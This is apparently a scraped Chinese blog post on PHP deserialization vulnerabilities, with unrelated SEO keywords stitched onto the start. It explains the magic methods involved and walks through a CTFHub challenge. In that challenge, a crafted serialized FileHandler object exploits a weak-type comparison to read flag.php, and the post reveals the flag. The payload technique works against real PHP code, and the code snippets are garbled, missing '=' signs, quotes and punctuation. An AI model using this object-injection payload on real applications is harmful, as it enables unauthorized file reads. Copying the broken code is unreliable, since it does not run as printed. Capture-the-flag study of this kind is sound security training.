企业网站建设方案大全,做问卷网站,可以做锚文本链接的网站,网站必须做ipv6目录 PHP反序列化序列化反序列化原理涉及技术利用危害CTF靶场 PHP反序列化
序列化 将对象转换成字符串 反序列化 相反#xff0c;将字符串转换成对象。 数据格式的转换对象的序列化有利于对象的保存和传输#xff0c;也可以让多个文件共享对象。 原理 未对用户输入的序列化字… 目录 PHP反序列化序列化反序列化原理涉及技术利用危害CTF靶场 PHP反序列化
序列化 将对象转换成字符串 反序列化 相反将字符串转换成对象。 数据格式的转换对象的序列化有利于对象的保存和传输也可以让多个文件共享对象。 原理 未对用户输入的序列化字符串进行检测导致攻击者可以控制反序列化过程从而导致代码执行SQL注入目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。 serialize() //将一个对象转换成一个字符串 unserialize() //将字符串还原成一个对象 //例如
//无类序列化和反序列化
?php$keyrumilc;
echo serialize($key);echo /br;
$key2 s:6:rumilc;;
echo unserialize($key2);涉及技术 有类和无类 有类和无类区别有无class定义 基本概念 有类触发魔术方法 魔术方法具体参考 触发
unserialize函数的变量可控文件中存在可利用的类类中有魔术方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
......利用 真实应用下 CTF中常见 危害 SQL注入 目录遍历 代码执行 … CTF靶场
题目地址 进入环境 给了php代码进行分析
根据题目以及代码向下发现了unserialize
思路
第一获取flag存储flag.php
第二两个魔术方法__destruct和 __construct
第三传输str参数数据后触发destruct存在is_valid过滤
第四__destruct中会调用process,其中op1写入及op2读取
第五涉及对象FileHandler变量op及filename,content进行构造输出进行构造序列化处理
?php
class FileHandler
{public $op 2.0; //源码观察发现op为1时候是执行写入为2时执行读//使用 2也可以绕过op的值public $filenameflag.php; //文件开头调用的是flag.phppublic $content; //可以不用写或者任意
}
$flag new FileHandler();
echo serialize($flag);
?执行完成后得到 O:11:“FileHandler”:3:{s:2:“op”;s:3:“2.0”;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;} 将此作为参数值赋值给str进行请求
发现有返回查看源码 源码当中
得到答案 $FLAG ctfhub{2edb689c4de533b460e6c2af};还可以将其还原成对象
?php$key O:11:FileHandler:3:{s:2:op;s:3:2.0;s:8:filename;s:8:flag.php;s:7:content;N;};var_dump(unserialize($key));
?还原的对象结果
object(__PHP_Incomplete_Class)#1 (4) {[__PHP_Incomplete_Class_Name]string(11) FileHandler[op]string(3) 2.0[filename]string(8) flag.php[content]NULL
}反序列化魔术方法调用弱类型绕过ascii绕过 弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。 强等于。在比较前会先判断两种字符串类型是否相同再进行比较如果类型不同直接返回不相等。既比较值也比较类型。 使用该类对flag进行读取这里面能利用的只有__destruct函数析构函数。 __destruct函数对$this-op进行了判断并内容在2字符串时会赋值为1 process函数中使用对$this-op进行判断为2的情况下才能读取内容 因此这里存在弱类型比较可以使用数字2或字符串’ 2’绕过判断。 is_valid函数还对序列化字符串进行了校验因为成员被protected修饰 因此序列化字符串中会出现ascii为0的字符。经过测试在PHP7.2的环境中 使用public修饰成员并序列化反序列化后成员也会被public覆盖修饰。